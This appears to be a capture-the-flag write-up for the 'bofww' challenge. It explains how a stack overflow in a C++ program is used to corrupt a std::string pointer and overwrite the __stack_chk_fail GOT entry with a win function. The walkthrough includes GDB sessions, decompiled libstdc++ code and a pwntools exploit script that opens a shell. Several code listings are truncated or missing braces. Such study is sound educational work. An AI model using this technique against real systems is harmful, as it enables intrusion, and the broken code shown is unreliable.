Author: ptr-yudai
Description: buffer overflow with win function
Attachment: bofww.tar.gz


Buffer overflow into arbitrary address write via std::string operator=

Source Code

#include <iostream>

void win() {

void input_person(int& age, std::string& name) {
  int _age;
  char _name[0x100];
  std::cout << "What is your first name? ";
  std::cin >> _name;
  std::cout << "How old are you? ";
  std::cin >> _age;
  name = _name;
  age = _age;

int main() {
  int age;
  std::string name;
  input_person(age, name);
  std::cout << "Information:" << std::endl
            << "Age: " << age << std::endl
            << "Name: " << name << std::endl;
  return 0;

void setup(void) {
  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);
$ checksec --file ./bofww
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Initial Analysis

There is an obvious buffer overflow on input_person(), specifically the _name variable. However, the program is compiled with stack protector and we might need to leak the stack cookie for us to smash the stack. Unfortunately, I could not find any way to leak the cookie and gain another round of buffer overflow. Luckily, the program global offset table (GOT) entries are overwritable. Moreover, there is a win function which would pop us a shell; hence, the plan is to overwrite __stack_chk_fail GOT entry to be the address of win() function.

But, how do we overwrite the GOT, you may ask? Well, in short, we overwrite the std::string structure which contains pointer to a memory address in which the actual string content lives. Guess, this is a good excuse to dive into libstdc++6 (cxx11) std::string internals to better understand how our exploit works. Then, we would walkthrough the operator= function to better craft our exploit. If you are just here for the final solve script, you can skip to this section.

std::string Brief Internals

Let's try to play with the program through GDB. First, set a breakpoint at input_person+164, which is the just before name = _name line of code is executed. Next, run the program and input any short name, in this example, the input would be aaaabaaa for _name, and any number for _age.

gef> break *input_person+164
gef> run
gef> info reg rdi
rdi            0x7fffffffcde0      0x7fffffffcde0
gef> ni
gef> tele 0x7fffffffcde0
0x7fffffffcde0|+0x0000|+000: 0x00007fffffffcdf0  ->  'aaaabaaa'  <-  $rax
0x7fffffffcde8|+0x0008|+001: 0x0000000000000008
0x7fffffffcdf0|+0x0010|+002: 'aaaabaaa'  <-  $rdi
0x7fffffffcdf8|+0x0018|+003: 0x0000000000000000
0x7fffffffce00|+0x0020|+004: 0x0000000000000000
0x7fffffffce08|+0x0028|+005: 0xa7306dc9e85ed800  <-  canary

We could try to supply another input, for example aaaabaaacaaaa, and inspect the memory.

0x7fffffffcde0|+0x0000|+000: 0x00007fffffffcdf0  ->  'aaaabaaacaaa'  <-  $rax
0x7fffffffcde8|+0x0008|+001: 0x000000000000000c ('\x0c'?)
0x7fffffffcdf0|+0x0010|+002: 'aaaabaaacaaa'  <-  $rdi
0x7fffffffcdf8|+0x0018|+003: 0x0000000061616163 ('caaa'?)
0x7fffffffce00|+0x0020|+004: 0x0000000000000000
0x7fffffffce08|+0x0028|+005: 0xdea7b9a5dde5b200  <-  canary

We could see from the two examples how std::string is represented on the stack and sort of guess that:

0x00pointer to the string content
0x08length of the string content
0x10the actual string content

Looks like the structure could hold up to either 0x10 or 0x18 bytes of characters (including the NULL termination byte) on the stack. Let's try to provide 0x10 bytes of input and see how it reacts.

0x7fffffffcde0|+0x0000|+000: 0x00000000004172b0  ->  'aaaaaaaabaaaaaaa'  <-  $rax
0x7fffffffcde8|+0x0008|+001: 0x0000000000000010
0x7fffffffcdf0|+0x0010|+002: 0x000000000000001e  <-  $rdi
0x7fffffffcdf8|+0x0018|+003: 0x0000000000000000
0x7fffffffce00|+0x0020|+004: 0x0000000000000000
0x7fffffffce08|+0x0028|+005: 0xc382c9256963b300  <-  canary

As could be seen, our string is now allocated on the heap.

Since there is a pointer to a memory address, we could probably overwrite this value with our buffer overflow and point it to __stack_chk_fail@got.plt.

payload = b""
payload += p64(win)
payload = payload.ljust(0x130, b"\x00")
payload += p64(stack_chk_fail_got)

With this payload, we actually got a SIGSEGV and looking at the call stack, it is trying to call free which hints us on operator= trying to allocate our input on the heap. However, our input is only 3 bytes long as NULL bytes are not counted. This is weird. Guess, this is a perfect time to look at how operator= works.

 -> 0x7fdbf5c3d8d7 498b4608           <_int_free+0x1b7>   mov    rax, QWORD PTR [r14 + 0x8]
[!] Cannot access memory at address 0x8050d8
[Thread Id:1] Name: "bofww", stopped at 0x7fdbf5c3d8d7 <_int_free+0x1b7>, reason: SIGSEGV
[#0] 0x7fdbf5c3d8d7 <_int_free+0x1b7>
[#1] 0x7fdbf5c404d3 <free+0x73> (frame name: __GI___libc_free)
[#2] 0x7fdbf5f4182d <std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_mutate(unsigned long, unsigned long, char const*, unsigned long)+0xed>
[#3] 0x7fdbf5f4288b <std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_replace(unsigned long, unsigned long, char const*, unsigned long)+0xfb>
[#4] 0x0000004013b9 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+0xa9>
[#5] 0x000000000000 <NO_SYMBOL>

Understanding operator=(const char *)

Unfortunately, I could not find the libstdc++ source code for the operator= function (skill issue, probably) and had to instead use ghidra to decompile the file.

To easily locate the function address, turn off demangling inside GDB (if you have it turned on) and use the mangled function name _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEaSEPKc as the search filter.

gef> set print asm-demangle off
gef> x/i 0x00000000004013b4
0x4013b4 <_Z12input_personRiRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+164>:      call   0x4011a0 <_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEaSEPKc@plt>

The following is the decompiled code for operator=(const char *). As could be seen, there is a familiar function named _M_replace(). It accepts:

  • the std::string structure as the first parameter,
  • index as the second parameter
  • current string length (offset 0x08) as the third parameter
  • pointer to the new string content as the fourth parameter
  • and lastly, the length of the new string
void __thiscall
          (basic_string<char,std::char_traits<char>,std::allocator<char>> *this,char *new_str)

  size_t new_len;
  new_len = strlen(new_str);
  _M_replace(this,0,*(ulong *)(this + 8),new_str,new_len);

Looking into _M_replace(), there is the _M_mutate() function which causes the SIGSEGV. To avoid calling _M_mutate(), capacity, which is the value at offset 0x10 (since we overwrote ptr and now ptr != this+0x10), needs to be larger than our input length. Since we have buffer overflow, we could control the value at offset 0x10 as well which make the program goes into the else block and finally execute the memcpy() function, where the destination is the overwritten ptr value plus index (which is always 0) and the source is our input value.

basic_string<char,std::char_traits<char>,std::allocator<char>> * __thiscall
          (basic_string<char,std::char_traits<char>,std::allocator<char>> *this,ulong index,
          ulong cur_size,char *new_str,ulong new_len)

  basic_string<char,std::char_traits<char>,std::allocator<char>> *__dest;
  ulong _new_len;
  ulong capacity;
  ulong idk;
  long _cur_size;
  basic_string<char,std::char_traits<char>,std::allocator<char>> *ptr;
  _cur_size = *(long *)(this + 8);
  if (new_len <= (cur_size + 0x3fffffffffffffff) - _cur_size) {
    ptr = *(basic_string<char,std::char_traits<char>,std::allocator<char>> **)this;
    _new_len = (new_len - cur_size) + _cur_size;
    if (ptr == this + 0x10) {
                    /* inline string (on stack) */
      capacity = 0xf;
    else {
      capacity = *(ulong *)(this + 0x10);
    if (capacity < _new_len) { // <=== avoid this
    else {
      __dest = ptr + index;
      idk = _cur_size - (index + cur_size);
      if ((new_str < ptr) || (ptr + _cur_size < new_str)) {
        if ((idk != 0) && (cur_size != new_len)) {
          if (idk == 1) {
            __dest[new_len] = __dest[cur_size];
          else {
            memmove(__dest + new_len,__dest + cur_size,idk);
        if (new_len != 0) {
          if (new_len == 1) {
            *__dest = (basic_string<char,std::char_traits<char>,std::allocator<char>>)*new_str;
          else {
            memcpy(__dest,new_str,new_len); // <=== target
      else {
        _M_replace_cold(this,(char *)__dest,cur_size,new_str,new_len,idk);
    *(ulong *)(this + 8) = _new_len;
    *(undefined *)(*(long *)this + _new_len) = 0;
    return this;
                    /* WARNING: Subroutine does not return */


Let's briefly recap on our analysis:

  • input_person() function is subjected to buffer overflow
  • std::string contains a pointer to memory address at offset 0x00
  • this pointer could be overwritten w/ buffer overflow to point to __stack_chk_fail@got.plt and our input would be used to populate this GOT entry
  • simply overwriting this pointer is not enough as the operator= function calls into _M_mutate() which causes segmentation fault
  • need to overwrite std::string structure at offset 0x10 to be larger than our input length (calculated with strlen) to avoid the _M_mutate() function calls
#!/usr/bin/env python3

# type: ignore
# flake8: noqa

from pwn import *

elf = context.binary = ELF("./bofww", checksec=False)

def start(argv=[], *a, **kw):
    nc = "nc 9002"
    nc = nc.split()
    host = args.HOST or nc[1]
    port = int(args.PORT or nc[2])
    if args.REMOTE:
        return remote(host, port)
        return process([elf.path] + argv, env=env, *a, **kw)

env = {}
io = start()

win = 0x4012f6
stack_chk_fail_got =["__stack_chk_fail"]
payload = b""
payload += p64(win)
payload = payload.ljust(0x130, b"\x00")
payload += flat(
    0x3  # std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_replace(unsigned long, unsigned long, char const*, unsigned long)+0x4a --> need to be >= strlen(_name)  # noqa

$ ./
[*] Switching to interactive mode
What is your first name? How old are you? $ ls
Dockerfile  docker-compose.yml
bofww        flag.txt        main.cpp
$ cat flag.txt